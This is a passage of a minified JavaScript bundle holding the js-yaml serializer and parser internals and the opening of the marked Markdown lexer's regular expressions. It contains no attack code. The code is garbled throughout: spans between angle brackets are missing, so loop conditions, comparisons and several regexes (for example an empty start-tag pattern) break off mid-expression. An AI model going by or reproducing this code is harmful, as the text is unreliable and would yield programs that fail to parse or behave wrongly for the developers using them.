",n+=l+(!i&&!a&&u!==""?` +`:"")+WQ(u,e),i=a}return n}function WQ(t,e){if(t===""||t[0]===" ")return t;for(var r=/ [^ ]/g,n,i=0,a,s=0,l=0,u="";n=r.exec(t);)l=n.index,l-i>e&&(a=s>i?s:l,u+=` +`+t.slice(i,a),i=a+1),s=l;return u+=` +`,t.length-i>e&&s>i?u+=t.slice(i,s)+` +`+t.slice(s+1):u+=t.slice(i),u.slice(1)}function QLe(t){for(var e="",r=0,n,i=0;i=65536?i+=2:i++)r=y2(t,i),n=Ia[r],!n&&T2(r)?(e+=t[i],r>=65536&&(e+=t[i+1])):e+=n||VLe(r);return e}function ZLe(t,e,r){var n="",i=t.tag,a,s,l;for(a=0,s=r.length;a"u"&&Nu(t,e,null,!1,!1))&&(n!==""&&(n+=","+(t.condenseFlow?"":" ")),n+=t.dump);t.tag=i,t.dump="["+n+"]"}function YQ(t,e,r,n){var i="",a=t.tag,s,l,u;for(s=0,l=r.length;s"u"&&Nu(t,e+1,null,!0,!0,!1,!0))&&((!n||i!=="")&&(i+=e9(t,e)),t.dump&&x2===t.dump.charCodeAt(0)?i+="-":i+="- ",i+=t.dump);t.tag=a,t.dump=i||"[]"}function JLe(t,e,r){var n="",i=t.tag,a=Object.keys(r),s,l,u,h,f;for(s=0,l=a.length;s1024&&(f+="? "),f+=t.dump+(t.condenseFlow?'"':"")+":"+(t.condenseFlow?"":" "),Nu(t,e,h,!1,!1)&&(f+=t.dump,n+=f));t.tag=i,t.dump="{"+n+"}"}function e9e(t,e,r,n){var i="",a=t.tag,s=Object.keys(r),l,u,h,f,d,p;if(t.sortKeys===!0)s.sort();else if(typeof t.sortKeys=="function")s.sort(t.sortKeys);else if(t.sortKeys)throw new Is("sortKeys must be a boolean or a function");for(l=0,u=s.length;l1024,d&&(t.dump&&x2===t.dump.charCodeAt(0)?p+="?":p+="? "),p+=t.dump,d&&(p+=e9(t,e)),Nu(t,e+1,f,!0,d)&&(t.dump&&x2===t.dump.charCodeAt(0)?p+=":":p+=": ",p+=t.dump,i+=p));t.tag=a,t.dump=i||"{}"}function XQ(t,e,r){var n,i,a,s,l,u;for(i=r?t.explicitTypes:t.implicitTypes,a=0,s=i.length;a tag resolver accepts not "'+u+'" style');t.dump=n}return!0}return!1}function Nu(t,e,r,n,i,a,s){t.tag=null,t.dump=r,XQ(t,r,!1)||XQ(t,r,!0);var l=uZ.call(t.dump),u=n,h;n&&(n=t.flowLevel<0||t.flowLevel>e);var f=l==="[object Object]"||l==="[object Array]",d,p;if(f&&(d=t.duplicates.indexOf(r),p=d!==-1),(t.tag!==null&&t.tag!=="?"||p||t.indent!==2&&e>0)&&(i=!1),p&&t.usedDuplicates[d])t.dump="*ref_"+d;else{if(f&&p&&!t.usedDuplicates[d]&&(t.usedDuplicates[d]=!0),l==="[object Object]")n&&Object.keys(t.dump).length!==0?(e9e(t,e,t.dump,i),p&&(t.dump="&ref_"+d+t.dump)):(JLe(t,e,t.dump),p&&(t.dump="&ref_"+d+" "+t.dump));else if(l==="[object Array]")n&&t.dump.length!==0?(t.noArrayIndent&&!s&&e>0?YQ(t,e-1,t.dump,i):YQ(t,e,t.dump,i),p&&(t.dump="&ref_"+d+t.dump)):(ZLe(t,e,t.dump),p&&(t.dump="&ref_"+d+" "+t.dump));else if(l==="[object String]")t.tag!=="?"&&jLe(t,t.dump,e,a,u);else{if(l==="[object Undefined]")return!1;if(t.skipInvalid)return!1;throw new Is("unacceptable kind of an object to dump "+l)}t.tag!==null&&t.tag!=="?"&&(h=encodeURI(t.tag[0]==="!"?t.tag.slice(1):t.tag).replace(/!/g,"%21"),t.tag[0]==="!"?h="!"+h:h.slice(0,18)==="tag:yaml.org,2002:"?h="!!"+h.slice(18):h="!<"+h+">",t.dump=h+" "+t.dump)}return!0}function t9e(t,e){var r=[],n=[],i,a;for(r9(t,r,n),i=0,a=n.length;i{"use strict";o(jQ,"isNothing");o(F_e,"isObject");o($_e,"toArray");o(z_e,"extend");o(G_e,"repeat");o(V_e,"isNegativeZero");U_e=jQ,H_e=F_e,q_e=$_e,W_e=G_e,Y_e=V_e,X_e=z_e,Pi={isNothing:U_e,isObject:H_e,toArray:q_e,repeat:W_e,isNegativeZero:Y_e,extend:X_e};o(KQ,"formatError");o(v2,"YAMLException$1");v2.prototype=Object.create(Error.prototype);v2.prototype.constructor=v2;v2.prototype.toString=o(function(e){return this.name+": "+KQ(this,e)},"toString");Is=v2;o(jL,"getLine");o(KL,"padStart");o(j_e,"makeSnippet");K_e=j_e,Q_e=["kind","multi","resolve","construct","instanceOf","predicate","represent","representName","defaultStyle","styleAliases"],Z_e=["scalar","sequence","mapping"];o(J_e,"compileStyleAliases");o(eDe,"Type$1");Ma=eDe;o(IQ,"compileList");o(tDe,"compileMap");o(ZL,"Schema$1");ZL.prototype.extend=o(function(e){var r=[],n=[];if(e instanceof Ma)n.push(e);else if(Array.isArray(e))n=n.concat(e);else if(e&&(Array.isArray(e.implicit)||Array.isArray(e.explicit)))e.implicit&&(r=r.concat(e.implicit)),e.explicit&&(n=n.concat(e.explicit));else throw new Is("Schema.extend argument should be a Type, [ Type ], or a schema definition ({ implicit: [...], explicit: [...] })");r.forEach(function(a){if(!(a instanceof Ma))throw new Is("Specified list of YAML types (or a single Type object) contains a non-Type object.");if(a.loadKind&&a.loadKind!=="scalar")throw new Is("There is a non-scalar type in the implicit list of a schema. Implicit resolving of such types is not supported.");if(a.multi)throw new Is("There is a multi type in the implicit list of a schema. Multi tags can only be listed as explicit.")}),n.forEach(function(a){if(!(a instanceof Ma))throw new Is("Specified list of YAML types (or a single Type object) contains a non-Type object.")});var i=Object.create(ZL.prototype);return i.implicit=(this.implicit||[]).concat(r),i.explicit=(this.explicit||[]).concat(n),i.compiledImplicit=IQ(i,"implicit"),i.compiledExplicit=IQ(i,"explicit"),i.compiledTypeMap=tDe(i.compiledImplicit,i.compiledExplicit),i},"extend");rDe=ZL,nDe=new Ma("tag:yaml.org,2002:str",{kind:"scalar",construct:o(function(t){return t!==null?t:""},"construct")}),iDe=new Ma("tag:yaml.org,2002:seq",{kind:"sequence",construct:o(function(t){return t!==null?t:[]},"construct")}),aDe=new Ma("tag:yaml.org,2002:map",{kind:"mapping",construct:o(function(t){return t!==null?t:{}},"construct")}),sDe=new rDe({explicit:[nDe,iDe,aDe]});o(oDe,"resolveYamlNull");o(lDe,"constructYamlNull");o(cDe,"isNull");uDe=new Ma("tag:yaml.org,2002:null",{kind:"scalar",resolve:oDe,construct:lDe,predicate:cDe,represent:{canonical:o(function(){return"~"},"canonical"),lowercase:o(function(){return"null"},"lowercase"),uppercase:o(function(){return"NULL"},"uppercase"),camelcase:o(function(){return"Null"},"camelcase"),empty:o(function(){return""},"empty")},defaultStyle:"lowercase"});o(hDe,"resolveYamlBoolean");o(fDe,"constructYamlBoolean");o(dDe,"isBoolean");pDe=new Ma("tag:yaml.org,2002:bool",{kind:"scalar",resolve:hDe,construct:fDe,predicate:dDe,represent:{lowercase:o(function(t){return t?"true":"false"},"lowercase"),uppercase:o(function(t){return t?"TRUE":"FALSE"},"uppercase"),camelcase:o(function(t){return t?"True":"False"},"camelcase")},defaultStyle:"lowercase"});o(mDe,"isHexCode");o(gDe,"isOctCode");o(yDe,"isDecCode");o(vDe,"resolveYamlInteger");o(xDe,"constructYamlInteger");o(bDe,"isInteger");TDe=new Ma("tag:yaml.org,2002:int",{kind:"scalar",resolve:vDe,construct:xDe,predicate:bDe,represent:{binary:o(function(t){return t>=0?"0b"+t.toString(2):"-0b"+t.toString(2).slice(1)},"binary"),octal:o(function(t){return t>=0?"0o"+t.toString(8):"-0o"+t.toString(8).slice(1)},"octal"),decimal:o(function(t){return t.toString(10)},"decimal"),hexadecimal:o(function(t){return t>=0?"0x"+t.toString(16).toUpperCase():"-0x"+t.toString(16).toUpperCase().slice(1)},"hexadecimal")},defaultStyle:"decimal",styleAliases:{binary:[2,"bin"],octal:[8,"oct"],decimal:[10,"dec"],hexadecimal:[16,"hex"]}}),wDe=new RegExp("^(?:[-+]?(?:[0-9][0-9_]*)(?:\\.[0-9_]*)?(?:[eE][-+]?[0-9]+)?|\\.[0-9_]+(?:[eE][-+]?[0-9]+)?|[-+]?\\.(?:inf|Inf|INF)|\\.(?:nan|NaN|NAN))$");o(kDe,"resolveYamlFloat");o(EDe,"constructYamlFloat");SDe=/^[-+]?[0-9]+e/;o(CDe,"representYamlFloat");o(ADe,"isFloat");_De=new Ma("tag:yaml.org,2002:float",{kind:"scalar",resolve:kDe,construct:EDe,predicate:ADe,represent:CDe,defaultStyle:"lowercase"}),QQ=sDe.extend({implicit:[uDe,pDe,TDe,_De]}),DDe=QQ,ZQ=new RegExp("^([0-9][0-9][0-9][0-9])-([0-9][0-9])-([0-9][0-9])$"),JQ=new RegExp("^([0-9][0-9][0-9][0-9])-([0-9][0-9]?)-([0-9][0-9]?)(?:[Tt]|[ \\t]+)([0-9][0-9]?):([0-9][0-9]):([0-9][0-9])(?:\\.([0-9]*))?(?:[ \\t]*(Z|([-+])([0-9][0-9]?)(?::([0-9][0-9]))?))?$");o(LDe,"resolveYamlTimestamp");o(RDe,"constructYamlTimestamp");o(NDe,"representYamlTimestamp");MDe=new Ma("tag:yaml.org,2002:timestamp",{kind:"scalar",resolve:LDe,construct:RDe,instanceOf:Date,represent:NDe});o(IDe,"resolveYamlMerge");ODe=new Ma("tag:yaml.org,2002:merge",{kind:"scalar",resolve:IDe}),n9=`ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/= +\r`;o(PDe,"resolveYamlBinary");o(BDe,"constructYamlBinary");o(FDe,"representYamlBinary");o($De,"isBinary");zDe=new Ma("tag:yaml.org,2002:binary",{kind:"scalar",resolve:PDe,construct:BDe,predicate:$De,represent:FDe}),GDe=Object.prototype.hasOwnProperty,VDe=Object.prototype.toString;o(UDe,"resolveYamlOmap");o(HDe,"constructYamlOmap");qDe=new Ma("tag:yaml.org,2002:omap",{kind:"sequence",resolve:UDe,construct:HDe}),WDe=Object.prototype.toString;o(YDe,"resolveYamlPairs");o(XDe,"constructYamlPairs");jDe=new Ma("tag:yaml.org,2002:pairs",{kind:"sequence",resolve:YDe,construct:XDe}),KDe=Object.prototype.hasOwnProperty;o(QDe,"resolveYamlSet");o(ZDe,"constructYamlSet");JDe=new Ma("tag:yaml.org,2002:set",{kind:"mapping",resolve:QDe,construct:ZDe}),eZ=DDe.extend({implicit:[MDe,ODe],explicit:[zDe,qDe,jDe,JDe]}),Xh=Object.prototype.hasOwnProperty,IT=1,tZ=2,rZ=3,OT=4,QL=1,eLe=2,OQ=3,tLe=/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F-\x84\x86-\x9F\uFFFE\uFFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF]/,rLe=/[\x85\u2028\u2029]/,nLe=/[,\[\]\{\}]/,nZ=/^(?:!|!!|![a-z\-]+!)$/i,iZ=/^(?:!|[^,\[\]\{\}])(?:%[0-9a-f]{2}|[0-9a-z\-#;\/\?:@&=\+\$,_\.!~\*'\(\)\[\]])*$/i;o(PQ,"_class");o(bc,"is_EOL");o(Yd,"is_WHITE_SPACE");o(Os,"is_WS_OR_EOL");o(bm,"is_FLOW_INDICATOR");o(iLe,"fromHexCode");o(aLe,"escapedHexLen");o(sLe,"fromDecimalCode");o(BQ,"simpleEscapeSequence");o(oLe,"charFromCodepoint");aZ=new Array(256),sZ=new Array(256);for(Wd=0;Wd<256;Wd++)aZ[Wd]=BQ(Wd)?1:0,sZ[Wd]=BQ(Wd);o(lLe,"State$1");o(oZ,"generateError");o(Zt,"throwError");o(PT,"throwWarning");FQ={YAML:o(function(e,r,n){var i,a,s;e.version!==null&&Zt(e,"duplication of %YAML directive"),n.length!==1&&Zt(e,"YAML directive accepts exactly one argument"),i=/^([0-9]+)\.([0-9]+)$/.exec(n[0]),i===null&&Zt(e,"ill-formed argument of the YAML directive"),a=parseInt(i[1],10),s=parseInt(i[2],10),a!==1&&Zt(e,"unacceptable YAML version of the document"),e.version=n[0],e.checkLineBreaks=s<2,s!==1&&s!==2&&PT(e,"unsupported YAML version of the document")},"handleYamlDirective"),TAG:o(function(e,r,n){var i,a;n.length!==2&&Zt(e,"TAG directive accepts exactly two arguments"),i=n[0],a=n[1],nZ.test(i)||Zt(e,"ill-formed tag handle (first argument) of the TAG directive"),Xh.call(e.tagMap,i)&&Zt(e,'there is a previously declared suffix for "'+i+'" tag handle'),iZ.test(a)||Zt(e,"ill-formed tag prefix (second argument) of the TAG directive");try{a=decodeURIComponent(a)}catch{Zt(e,"tag prefix is malformed: "+a)}e.tagMap[i]=a},"handleTagDirective")};o(Yh,"captureSegment");o($Q,"mergeMappings");o(Tm,"storeMappingPair");o(i9,"readLineBreak");o(Ci,"skipSeparationSpace");o($T,"testDocumentSeparator");o(a9,"writeFoldedLines");o(cLe,"readPlainScalar");o(uLe,"readSingleQuotedScalar");o(hLe,"readDoubleQuotedScalar");o(fLe,"readFlowCollection");o(dLe,"readBlockScalar");o(zQ,"readBlockSequence");o(pLe,"readBlockMapping");o(mLe,"readTagProperty");o(gLe,"readAnchorProperty");o(yLe,"readAlias");o(wm,"composeNode");o(vLe,"readDocument");o(lZ,"loadDocuments");o(xLe,"loadAll$1");o(bLe,"load$1");TLe=xLe,wLe=bLe,cZ={loadAll:TLe,load:wLe},uZ=Object.prototype.toString,hZ=Object.prototype.hasOwnProperty,s9=65279,kLe=9,x2=10,ELe=13,SLe=32,CLe=33,ALe=34,JL=35,_Le=37,DLe=38,LLe=39,RLe=42,fZ=44,NLe=45,BT=58,MLe=61,ILe=62,OLe=63,PLe=64,dZ=91,pZ=93,BLe=96,mZ=123,FLe=124,gZ=125,Ia={};Ia[0]="\\0";Ia[7]="\\a";Ia[8]="\\b";Ia[9]="\\t";Ia[10]="\\n";Ia[11]="\\v";Ia[12]="\\f";Ia[13]="\\r";Ia[27]="\\e";Ia[34]='\\"';Ia[92]="\\\\";Ia[133]="\\N";Ia[160]="\\_";Ia[8232]="\\L";Ia[8233]="\\P";$Le=["y","Y","yes","Yes","YES","on","On","ON","n","N","no","No","NO","off","Off","OFF"],zLe=/^[-+]?[0-9_]+(?::[0-9_]+)+(?:\.[0-9_]*)?$/;o(GLe,"compileStyleMap");o(VLe,"encodeHex");ULe=1,b2=2;o(HLe,"State");o(GQ,"indentString");o(e9,"generateNextLine");o(qLe,"testImplicitResolving");o(FT,"isWhitespace");o(T2,"isPrintable");o(VQ,"isNsCharOrWhitespace");o(UQ,"isPlainSafe");o(WLe,"isPlainSafeFirst");o(YLe,"isPlainSafeLast");o(y2,"codePointAt");o(yZ,"needIndentIndicator");vZ=1,t9=2,xZ=3,bZ=4,xm=5;o(XLe,"chooseScalarStyle");o(jLe,"writeScalar");o(HQ,"blockHeader");o(qQ,"dropEndingNewline");o(KLe,"foldString");o(WQ,"foldLine");o(QLe,"escapeString");o(ZLe,"writeFlowSequence");o(YQ,"writeBlockSequence");o(JLe,"writeFlowMapping");o(e9e,"writeBlockMapping");o(XQ,"detectType");o(Nu,"writeNode");o(t9e,"getDuplicateReferences");o(r9,"inspectNode");o(r9e,"dump$1");n9e=r9e,i9e={dump:n9e};o(o9,"renamed");jh=QQ,Kh=cZ.load,A6t=cZ.loadAll,_6t=i9e.dump,D6t=o9("safeLoad","load"),L6t=o9("safeLoadAll","loadAll"),R6t=o9("safeDump","dump")});function h9(){return{async:!1,breaks:!1,extensions:null,gfm:!0,hooks:null,pedantic:!1,renderer:null,silent:!1,tokenizer:null,walkTokens:null}}function CZ(t){jd=t}function on(t,e=""){let r=typeof t=="string"?t:t.source,n={replace:o((i,a)=>{let s=typeof a=="string"?a:a.source;return s=s.replace(as.caret,"$1"),r=r.replace(i,s),n},"replace"),getRegex:o(()=>new RegExp(r,e),"getRegex")};return n}function Tc(t,e){if(e){if(as.escapeTest.test(t))return t.replace(as.escapeReplace,wZ)}else if(as.escapeTestNoEncode.test(t))return t.replace(as.escapeReplaceNoEncode,wZ);return t}function kZ(t){try{t=encodeURI(t).replace(as.percentDecode,"%")}catch{return null}return t}function EZ(t,e){let r=t.replace(as.findPipe,(a,s,l)=>{let u=!1,h=s;for(;--h>=0&&l[h]==="\\";)u=!u;return u?"|":" |"}),n=r.split(as.splitPipe),i=0;if(n[0].trim()||n.shift(),n.length>0&&!n.at(-1)?.trim()&&n.pop(),e)if(n.length>e)n.splice(e);else for(;n.length0?-2:-1}function SZ(t,e,r,n,i){let a=e.href,s=e.title||null,l=t[1].replace(i.other.outputLinkReplace,"$1");n.state.inLink=!0;let u={type:t[0].charAt(0)==="!"?"image":"link",raw:r,href:a,title:s,text:l,tokens:n.inlineTokens(l)};return n.state.inLink=!1,u}function $9e(t,e,r){let n=t.match(r.other.indentCodeCompensation);if(n===null)return e;let i=n[1];return e.split(` +`).map(a=>{let s=a.match(r.other.beginningSpace);if(s===null)return a;let[l]=s;return l.length>=i.length?a.slice(i.length):a}).join(` +`)}function nn(t,e){return Xd.parse(t,e)}var jd,C2,as,a9e,s9e,o9e,A2,l9e,f9,AZ,_Z,c9e,d9,u9e,p9,h9e,f9e,qT,m9,d9e,DZ,p9e,g9,TZ,m9e,g9e,y9e,v9e,LZ,x9e,WT,y9,RZ,b9e,NZ,T9e,w9e,k9e,MZ,E9e,S9e,IZ,C9e,A9e,_9e,D9e,L9e,R9e,N9e,VT,M9e,OZ,PZ,I9e,v9,O9e,l9,P9e,GT,k2,B9e,wZ,UT,Mu,HT,x9,Iu,S2,z9e,Xd,M6t,I6t,O6t,P6t,B6t,F6t,$6t,BZ=N(()=>{"use strict";o(h9,"L");jd=h9();o(CZ,"G");C2={exec:o(()=>null,"exec")};o(on,"h");as={codeRemoveIndent:/^(?: {1,4}| {0,3}\t)/gm,outputLinkReplace:/\\([\[\]])/g,indentCodeCompensation:/^(\s+)(?:```)/,beginningSpace:/^\s+/,endingHash:/#$/,startingSpaceChar:/^ /,endingSpaceChar:/ $/,nonSpaceChar:/[^ ]/,newLineCharGlobal:/\n/g,tabCharGlobal:/\t/g,multipleSpaceGlobal:/\s+/g,blankLine:/^[ \t]*$/,doubleBlankLine:/\n[ \t]*\n[ \t]*$/,blockquoteStart:/^ {0,3}>/,blockquoteSetextReplace:/\n {0,3}((?:=+|-+) *)(?=\n|$)/g,blockquoteSetextReplace2:/^ {0,3}>[ \t]?/gm,listReplaceTabs:/^\t+/,listReplaceNesting:/^ {1,4}(?=( {4})*[^ ])/g,listIsTask:/^\[[ xX]\] /,listReplaceTask:/^\[[ xX]\] +/,anyLine:/\n.*\n/,hrefBrackets:/^<(.*)>$/,tableDelimiter:/[:|]/,tableAlignChars:/^\||\| *$/g,tableRowBlankLine:/\n[ \t]*$/,tableAlignRight:/^ *-+: *$/,tableAlignCenter:/^ *:-+: *$/,tableAlignLeft:/^ *:-+ *$/,startATag:/^/i,startPreScriptTag:/^<(pre|code|kbd|script)(\s|>)/i,endPreScriptTag:/^<\/(pre|code|kbd|script)(\s|>)/i,startAngleBracket:/^$/,pedanticHrefTitle:/^([^'"]*[^\s])\s+(['"])(.*)\2/,unicodeAlphaNumeric:/[\p{L}\p{N}]/u,escapeTest:/[&<>"']/,escapeReplace:/[&<>"']/g,escapeTestNoEncode:/[<>"']|&(?!(#\d{1,7}|#[Xx][a-fA-F0-9]{1,6}|\w+);)/,escapeReplaceNoEncode:/[<>"']|&(?!(#\d{1,7}|#[Xx][a-fA-F0-9]{1,6}|\w+);)/g,unescapeTest:/&(#(?:\d+)|(?:#x[0-9A-Fa-f]+)|(?:\w+));?/ig,caret:/(^|[^\[])\^/g,percentDecode:/%25/g,findPipe:/\|/g,splitPipe:/ \|/,slashPipe:/\\\|/g,carriageReturn:/\r\n|\r/g,spaceLine:/^ +$/gm,notSpaceStart:/^\S*/,endingNewline:/\n$/,listItemRegex:o(t=>new RegExp(`^( {0,3}${t})((?:[ ][^\\n]*)?(?:\\n|$))`),"listItemRegex"),nextBulletRegex:o(t=>new RegExp(`^ {0,${Math.min(3,t-1)}}(?:[*+-]|\\d{1,9}[.)])((?:[ ][^\\n]*)?(?:\\n|$))`),"nextBulletRegex"),hrRegex:o(t=>new RegExp(`^ {0,${Math.min(3,t-1)}}((?:- *){3,}|(?:_ *){3,}|(?:\\* *){3,})(?:\\n+|$)`),"hrRegex"),fencesBeginRegex:o(t=>new RegExp(`^ {0,${Math.min(3,t-1)}}(?:\`\`\`|~~~)`),"fencesBeginRegex"),headingBeginRegex:o(t=>new RegExp(`^ {0,${Math.min(3,t-1)}}#`),"headingBeginRegex"),htmlBeginRegex:o(t=>new RegExp(`^ {0,${Math.min(3,t-1)}}<(?:[a-z].*>|!--)`,"i"),"htmlBeginRegex")},a9e=/^(?:[ \t]*(?:\n|$))+/,s9e=/^((?: {4}| {0,3}\t)[^\n]+(?:\n(?:[ \t]*(?:\n|$))*)?)+/,o9e=/^ {0,3}(`{3,}(?=[^`\n]*(?:\n|$))|~{3,})([^\n]*)(?:\n|$)(?:|([\s\S]*?)(?:\n|$))(?: {0,3}\1[~`]* *(?=\n|$)|$)/,A2=/^ {0,3}((?:-[\t ]*){3,}|(?:_[ \t]*){3,}|(?:\*[ \t]*){3,})(?:\n+|$)/,l9e=/^ {0,3}(#{1,6})(?=\s|$)(.*)(?:\n+|$)/,f9=/(?:[*+-]|\d{1,9}[.)])/,AZ=/^(?!bull |blockCode|fences|blockquote|heading|html|table)((?:.|\n(?!\s*?\n|bull |blockCode|fences|blockquote|heading|html|table))+?)\n {0,3}(=+|-+) *(?:\n+|$)/,_Z=on(AZ).replace(/bull/g,f9).replace(/blockCode/g,/(?: {4}| {0,3}\t)/).replace(/fences/g,/ {0,3}(?:`{3,}|~{3,})/).replace(/blockquote/g,/ {0,3}>/).replace(/heading/g,/ {0,3}#{1,6}/).replace(/html/g,/ {0,3}<[^\n>]+>\n/).replace(/\|table/g,"").getRegex(),c9e=on(AZ).replace(/bull/g,f9).replace(/blockCode/g,/(?: {4}| {0,3}\t)/).replace(/fences/g,/ {0,3}(?:`{3,}|~{3,})/).replace(/blockquote/g,/ {0,3}>/).replace(/heading/g,/ {0,3}#{1,6}/).replace(/html/g,/ {0,3}<[^\n>]+>\n/).replace(/table/g,/ {0,3}\|?(?:[:\- ]*\|)+[\:\- ]*\n/).getRegex(),d9=/^([^\n]+(?:\n(?!hr|heading|lheading|blockquote|fences|list|html|table| +\n)[^\n]+)*)/,u9e=/^[^\n]+/,p9=/(?!\s*\])(?:\\[\s\S]|[^\[\]\\])+/,h9e=on(/^ {0,3}\[(label)\]: *(?:\n[ \t]*)?([^<\s][^\s]*|<.*?>)(?:(?: +(?:\n[ \t]*)?| *\n[ \t]*)(title))? *(?:\n+|$)/).replace("label",p9).replace("title",/(?:"(?:\\"?|[^"\\])*"|'[^'\n]*(?:\n[^'\n]+)*\n?'|\([^()]*\))/).getRegex(),f9e=on(/^( {0,3}bull)([ \t][^\n]+?)?(?:\n|$)/).replace(/bull/g,f9).getRegex(),qT="address|article|aside|base|basefont|blockquote|body|caption|center|col|colgroup|dd|details|dialog|dir|div|dl|dt|fieldset|figcaption|figure|footer|form|frame|frameset|h[1-6]|head|header|hr|html|iframe|legend|li|link|main|menu|menuitem|meta|nav|noframes|ol|optgroup|option|p|param|search|section|summary|table|tbody|td|tfoot|th|thead|title|tr|track|ul",m9=/|$))/,d9e=on("^ {0,3}(?:<(script|pre|style|textarea)[\\s>][\\s\\S]*?(?:[^\\n]*\\n+|$)|comment[^\\n]*(\\n+|$)|<\\?[\\s\\S]*?(?:\\?>\\n*|$)|\\n*|$)|\\n*|$)|)[\\s\\S]*?(?:(?:\\n[ ]*)+\\n|$)|<(?!script|pre|style|textarea)([a-z][\\w-]*)(?:attribute)*? */?>(?=[ \\t]*(?:\\n|$))[\\s\\S]*?(?:(?:\\n[ ]*)+\\n|$)|(?=[ \\t]*(?:\\n|$))[\\s\\S]*?(?:(?:\\n[ ]*)+\\n|$))","i").replace("comment",m9).replace("tag",qT).replace("attribute",/ +[a-zA-Z:_][\w.:-]*(?: *= *"[^"\n]*"| *= *'[^'\n]*'| *= *[^\s"'=<>`]+)?/).getRegex(),DZ=on(d9).replace("hr",A2).replace("heading"," {0,3}#{1,6}(?:\\s|$)").replace("|lheading","").replace("|table","").replace("blockquote"," {0,3}>").replace("fences"," {0,3}(?:`{3,}(?=[^`\\n]*\\n)|~{3,})[^\\n]*\\n").replace("list"," {0,3}(?:[*+-]|1[.)]) ").replace("html",")|<(?:script|pre|style|textarea|!--)").replace("tag",qT).getRegex(),p9e=on(/^( {0,3}> ?(paragraph|[^\n]*)(?:\n|$))+/).replace("paragraph",DZ).getRegex(),g9={blockquote:p9e,code:s9e,def:h9e,fences:o9e,heading:l9e,hr:A2,html:d9e,lheading:_Z,list:f9e,newline:a9e,paragraph:DZ,table:C2,text:u9e},TZ=on("^ *([^\\n ].*)\\n {0,3}((?:\\| *)?:?-+:? *(?:\\| *:?-+:? *)*(?:\\| *)?)(?:\\n((?:(?! *\\n|hr|heading|blockquote|code|fences|list|html).*(?:\\n|$))*)\\n*|$)").replace("hr",A2).replace("heading"," {0,3}#{1,6}(?:\\s|$)").replace("blockquote"," {0,3}>").replace("code","(?: {4}| {0,3} )[^\\n]").replace("fences"," {0,3}(?:`{3,}(?=[^`\\n]*\\n)|~{3,})[^\\n]*\\n").replace("list"," {0,3}(?:[*+-]|1[.)]) ").replace("html",")|<(?:script|pre|style|textarea|!--)").replace("tag",qT).getRegex(),m9e={...g9,lheading:c9e,table:TZ,paragraph:on(d9).replace("hr",A2).replace("heading"," {0,3}#{1,6}(?:\\s|$)").replace("|lheading","").replace("table",TZ).replace("blockquote"," {0,3}>").replace("fences"," {0,3}(?:`{3,}(?=[^`\\n]*\\n)|~{3,})[^\\n]*\\n").replace("list"," {0,3}(?:[*+-]|1[.)]) ").replace("html",")|<(?:script|pre|style|textarea|!--)").replace("tag",qT).getRegex()},g9e={...g9,html:on(`^ *(?:comment *(?:\\n|\\s*$)|<(tag)[\\s\\S]+? *(?:\\n{2,}|\\s*$)|\\s]*)*?/?> *(?:\\n{2,}|\\s*$))`).replace("comment",m9).replace(/tag/g,"(?!(?:a|em|strong|small|s|cite|q|dfn|abbr|data|time|code|var|samp|kbd|sub|sup|i|b|u|mark|ruby|rt|rp|bdi|bdo|span|br|wbr|ins|del|img)\\b)\\w+(?!:|[^\\w\\s@]*@)\\b").getRegex(),def:/^ *\[([^\]]+)\]: *]+)>?(?: +(["(][^\n]+[")]))? *(?:\n+|$)/,heading:/^(#{1,6})(.*)(?:\n+|$)/,fences:C2,lheading:/^(.+?)\n {0,3}(=+|-+) *(?:\n+|$)/,paragraph:on(d9).replace("hr",A2).replace("heading",` *#{1,6} *[^ +]`).replace("lheading",_Z).replace("|table","").replace("blockquote"," {0,3}>").replace("|fences","").replace("|list","").replace("|html","").replace("|tag","").getRegex()},y9e=/^\\([!"#$%&'()*+,\-./:;<=>?@\[\]\\^_`{|}~])/,v9e=/^(`+)([^`]|[^`][\s\S]*?[^`])\1(?!`)/,LZ=/^( {2,}|\\)\n(?!\s*$)/,x9e=/^(`+|[^`])(?:(?= {2,}\n)|[\s\S]*?(?:(?=[\\]*?>/g,MZ=/^(?:\*+(?:((?!\*)punct)|[^\s*]))|^_+(?:((?!_)punct)|([^\s_]))/,E9e=on(MZ,"u").replace(/punct/g,WT).getRegex(),S9e=on(MZ,"u").replace(/punct/g,NZ).getRegex(),IZ="^[^_*]*?__[^_*]*?\\*[^_*]*?(?=__)|[^*]+(?=[^*])|(?!\\*)punct(\\*+)(?=[\\s]|$)|notPunctSpace(\\*+)(?!\\*)(?=punctSpace|$)|(?!\\*)punctSpace(\\*+)(?=notPunctSpace)|[\\s](\\*+)(?!\\*)(?=punct)|(?!\\*)punct(\\*+)(?!\\*)(?=punct)|notPunctSpace(\\*+)(?=notPunctSpace)",C9e=on(IZ,"gu").replace(/notPunctSpace/g,RZ).replace(/punctSpace/g,y9).replace(/punct/g,WT).getRegex(),A9e=on(IZ,"gu").replace(/notPunctSpace/g,w9e).replace(/punctSpace/g,T9e).replace(/punct/g,NZ).getRegex(),_9e=on("^[^_*]*?\\*\\*[^_*]*?_[^_*]*?(?=\\*\\*)|[^_]+(?=[^_])|(?!_)punct(_+)(?=[\\s]|$)|notPunctSpace(_+)(?!_)(?=punctSpace|$)|(?!_)punctSpace(_+)(?=notPunctSpace)|[\\s](_+)(?!_)(?=punct)|(?!_)punct(_+)(?!_)(?=punct)","gu").replace(/notPunctSpace/g,RZ).replace(/punctSpace/g,y9).replace(/punct/g,WT).getRegex(),D9e=on(/\\(punct)/,"gu").replace(/punct/g,WT).getRegex(),L9e=on(/^<(scheme:[^\s\x00-\x1f<>]*|email)>/).replace("scheme",/[a-zA-Z][a-zA-Z0-9+.-]{1,31}/).replace("email",/[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+(@)[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)+(?![-_])/).getRegex(),R9e=on(m9).replace("(?:-->|$)","-->").getRegex(),N9e=on("^comment|^|^<[a-zA-Z][\\w-]*(?:attribute)*?\\s*/?>|^<\\?[\\s\\S]*?\\?>|^|^").replace("comment",R9e).replace("attribute",/\s+[a-zA-Z:_][\w.:-]*(?:\s*=\s*"[^"]*"|\s*=\s*'[^']*'|\s*=\s*[^\s"'=<>`]+)?/).getRegex(),VT=/(?:\[(?:\\[\s\S]|[^\[\]\\])*\]|